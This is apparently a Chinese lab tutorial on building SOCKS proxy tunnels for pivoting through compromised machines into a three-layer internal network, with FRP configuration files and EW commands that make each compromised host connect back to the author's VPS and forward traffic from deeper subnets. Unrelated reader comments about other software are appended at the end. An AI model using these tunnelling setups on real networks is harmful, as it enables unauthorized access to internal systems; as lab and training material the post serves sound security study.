内网渗透建立代理通道(如何攻击目标内网机器?)-Socks代理(゚益゚メ) 渗透测试
文章目录
- 搭建靶场
- 配置虚拟机网络
- 虚拟机
- 上线目标1(Target1)
- Socks代理
- 简介
- 正向代理
- 反向代理
- FRP
- 一层代理
- 二层代理(多层代理)
- EW
- 正向代理
- 反向代理
- 二层代理流量转发
- 三层代理
搭建靶场
配置虚拟机网络
这里我用的是最常见的VMware Workstation
虚拟机软件,我们先做一个内部的网络环境
虚拟机
我这里是使用的是CFS三层靶机环境
下载链接:https://pan.baidu.com/s/1n2i6Tr2lXC_T8kSEJFcBsA
提取码:ni2v
我发现网上的方法吧DHCP(虚拟网络编辑器中)关掉后我的靶机就无法获取到IP地址了,所以我又开启了这里的DHCP。这里IP需要和说明一样,要不然会影响使用!但后面又发现自动分配的IP无法正常访问页面,这里需要使用一些小技巧,将我们要访问的IP设置为开始IP,这样一开始就能被分配上,我们就可以正常使用了!(这里目标一的网络还是和指定的IP端不一样,但我并不准备演示web攻击这些,所以这些无关紧要。)
尝试一下通网段能互相ping通即可,我当前的网络环境如下图所示!
下面我会用我的一个公网(43.128.11.131)VPS或者一台虚拟机中的kali(192.168.1.200)作为我的攻击机来使用。
上线目标1(Target1)
因为本博客主要是写内网通道代理的,所以我这里就直接用msf上线目标一了(这里假设目标一的PC已经完全被攻陷了),我们现在的目标是通过外网主机连接到目标二和目标三。
Socks代理
简介
Socks这种代理使用的非常广泛,他是基于TCP协议的一种代理方式。大多数应用甚至系统中我们都可以设置Socks代理,我们在火狐或者谷歌浏览器中也都能找到Socks代理功能,这里就来介绍如果开启这种代理。
正向代理
正向代理是目标机器开启代理程序后,我们不需要其他机器作为中转,之间就可以通过代理设置连接。不过一般需要目标机器有公网IP,或者能直连到目标机器网络的机器作为攻击机
反向代理
反向代理在内网渗透中一般会更加常用,这种代理一般是需要我们一个有公网IP的服务器作为类似于中转站的工具,让目标先和我们的服务器和目标建立连接后,直接使用我们公网IP即可连接到目标服务器。这种代理方式相比于正向代理,用途更加广泛,并且安全性也较高。
FRP
FRP工具开源地址: https://github.com/fatedier/frp/releases
FRP工具官方文档: https://gofrp.org/docs/
FRP功能很强大,支持的代理方式也非常多,可以通过官方文档自行查看,当前这里主要介绍FRP会用Socks5进行的代理操作
首先我们将FRP下载到我们的攻击机,可以直接复制我下方的命令(这里我把版本写死了,你可以进一下工具的git看一下最新版,然后修改一下下载和解压命令即可)
mkdir frp
cd frp
wget https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz
tar -zxvf frp_0.36.2_linux_amd64.tar.gz
下载解压后,我们可以看一下压缩包内的文件主要有两类,一类是frp的客户端程序(frpc),一类是frp的服务端程序(frps)
一般FRP我们使用的都是反向代理,是先用客户端去连接服务端,所以我们在攻击机中一般是启用服务端程序,而客户端是放在目标机器中启动的,其中.ini
是我们的配置文件。
从上图中我们也可以看出,配置文件一般会有中括号括起来的和类似字典形式的两种格式,其中中括号类似于注释,而字典一样的键值对则是需要我们配置的选项。
一层代理
在一层代理中,我们只需要使用一个bind_port
参数进行端口绑定即可。这里我选择绑定到我们的7000端口上。
# 攻击端(服务端)
echo [common] >> frps_vps.ini
## 这里是在服务端绑定一个7000端口,这样我们的frps就会一直监听者这个端口等待来连接
echo "bind_tcp = 7000" >> frps_vps.ini
./frps -c frps_vps.ini
# 目标端(客户端)
vim frpc_1.ini
# 这里东西比较多,我就直接用vim编辑了
[common]
## 这里树服务器的地址
server_addr = 43.128.11.131
## 这里是服务器监听的端口(这个端口用来连接的是攻击端中frps这个服务的)
server_port = 7000
[socks5]
## 指定使用的类型(支持udp)
type = tcp
## 使用的协议(socks4或者http等谢谢frp都是支持的!)
plugin = socks5
## 这个端口是用来开代理使用的端口!
remote_port = 10088
使用代理软件代理后成功获取到目标内网!
可以使用一些工具的代理,直接对目标内网机器进行渗透操作!
二层代理(多层代理)
只要看懂二层代理,三层,四层等都是类似的方法。
这里我们就假设,已经拿到了目标的root用户的密码,这里通过ssh直接进行登陆。
这里我们先把frp传输到目标二中
# 攻击端、服务端(这里攻击端的设置和上方一层代理时类似,只需要监听一个端口等待客户端连接就可以,这里我们还是监听七千端口)
echo [common] >> frps_vps.ini
## 这里是在服务端绑定一个7000端口,这样我们的frps就会一直监听者这个端口等待来连接
echo "bind_tcp = 7000" >> frps_vps.ini
./frps -c frps_vps.ini
# 目标一
## 这里目标一建立的客户端和上方所有不同,需要进行一个端口转发,将连接到此端口的机器转发到目标二中
vim frpc_22.ini
[common]
server_addr = 43.128.11.131
server_port = 7000
## 这里还是开启一个10088的端口用来连接当前这个内网机器
[socks5_to_1]
type = tcp
remote_port = 10088
plugin = socks5
## 用来开启一个端口转发,将连接到10089这个端口记得机器转发到10090这个端口
[socks5_to_22]
type = tcp
local_ip = 127.0.0.1
## 这里是重定向,将目标一中的10089端口重定向绑定到10090端口
local_port = 10089
## 这个10090是我们之后要使用的代理端口
remote_port = 10090
## 同时在目标一种开启一个服务端做监听
vim frps_1.ini
[common]
bind_port = 7000
# 这里&是后台运行的意思
./frpc -c frpc_22.ini &
./frps -c frps_1.ini
# 目标二
[common]
## 这里是目标一的22网段的IP地址
server_addr = 192.168.22.23
server_port = 7000
[socks5_33]
type = tcp
plugin = socks5
remote_port = 10089
完成上述操作后,我们只需要将代理改成socks5://43.128.11.131:10090
即可对目标进行扫描
然后我们就可以使用相关漏洞对目标在进行下一层的渗透。到第四层之后我们的渗透都是类似的套路,先开启一个端口转发,在将目标端口一层一层转发出来即可。
PS:我上述的操作连接10088端口会进入目标1机器的代理中,连接10090会进入目标二机器的代理中!
EW
EW原文档,但作者因为EW被滥用,原作者已经下架了该工具的开源地址,并提供了检测机制。
EW下载地址: https://github.com/idlefire/ew
不过虽然原作者下架了,还是有其他人将其最后一版开源放出来了。
EW开发的初衷就是为了做渗透测试去使用,所以这个工具虽然只支持socks5协议代理,但既支持正向代理,又支持反向代理。
ew参数 | 英文 | 作用 |
---|---|---|
-s | state | 状态设置函数。从下面中选一个: ssocksd (正向代理),rcsocks (反向代理,流量转发),rssocks (反向代理,反弹socks5), lcx_listen (反向代理,流量转发), lcx_tran (端口转发), lcx_slave (端口绑定) |
-l | listenport | 为服务启动打开一个端口。(这里指定的一般就是我们socks连接的端口!) |
-d | refhost | 设置反向代理主机地址。 |
-e | refport | 设置反向代理端口。 |
-f | connhost | 设置正向代理主机地址。 |
-g | connport | 设置正向代理端口。 |
-h | help | 显示帮助文本,通过添加-s参数,还可以看到更详细的帮助。 |
-a | about | 显示关于页面。 |
-v | version | 显示版本。 |
-t | usectime | 设置超时的毫秒数。默认值1000 |
# 首先我们将这一长串名字改成ew(这里系统对应的程序改的!),方便使用
cp ew_for_linux64 ew
# 赋予文件权限,方便后面执行
chmod 777 ew
正向代理
我们使用ssocksd
开启正向代理后,可以直接通过代理程序连接后访问目标网络。
# 使用正向代理后直接就可以通过代理连接
./ew -s ssocksd -l 1888
反向代理
# 攻击机
./ew -s rcsocks -l 1888 -e 7788
# 目标机
./ew -s rssocks -d 43.128.11.131 -e 7788
二层代理流量转发
首先我们在目标二中执行正向代理程序,然后在使用能直连到目标二的目标一机器开启一个流量转发,将目标二的正向代理通过此通道转发到我们的服务器中即可!
# 服务器(VPS: 43.128.11.131) lcx_listen : 反向代理,流量转发
./ew -s lcx_listen -l 4578 -e 4888
# 目标一(192.168.1.108) lcx_slave : 端口绑定
./ew -s lcx_slave -d 43.128.11.131 -e 4888 -f 192.168.22.22 -g 4455
# 目标二(192.168.22.22) ssocksd : 正向代理
./ew -s ssocksd -l 4455
三层代理
上述的方法并不适用于三层以上的代理,如果想要使用三层及其以上的代理还是需要我们使用反向代理来进行连接,首先我们把目标三使用sockets反向代理连接到我们的目标二,在目标二开启一个流量转发,将目标三的流量转发到目标一中,再将目标一中的目标绑定到我们的公网服务器中的一个端口并且使用反向代理将端口转发出来一共我们连接。
# 服务器
./ew -s rcsocks -l 43128 -e 11131
# 目标一
./ew -s lcx_slave -d 43.128.11.131 -e 11131 -f 192.168.22.22 -g 2222
# 目标二
./ew -s lcx_listen -l 2222 -e 3322
# 目标三(这里因为是Windows的cmd中执行的所以不能带./,如果是powershell就可以带,具体带不带看你的系统和使用的命令行了)
ew -s rssocks -d 192.168.33.22 -e 3322
Shuuc: 酷呆不开源,只是借 github 放文件而已。觉得很有用的功能就是文件夹映射。其他国产让人不能让容忍的就是各种插件,这些所谓插件就是给小白用的而已。
05-22: 更改配置后需要重启。如果你是使用命令进行设置,不会提醒你重启。但是如果通过另一种方式设置,会提醒你重启电脑。
政啊正: 为什么我这没有出现转换完成啊
新手看世界: 为什么我不能在应用中直接搜搜?直接搜搜不到怎么办
一小口南瓜饼: 下载完整版是下载到哪里了?虚拟机硬盘还有空间但是安装过程中显示存储空间已满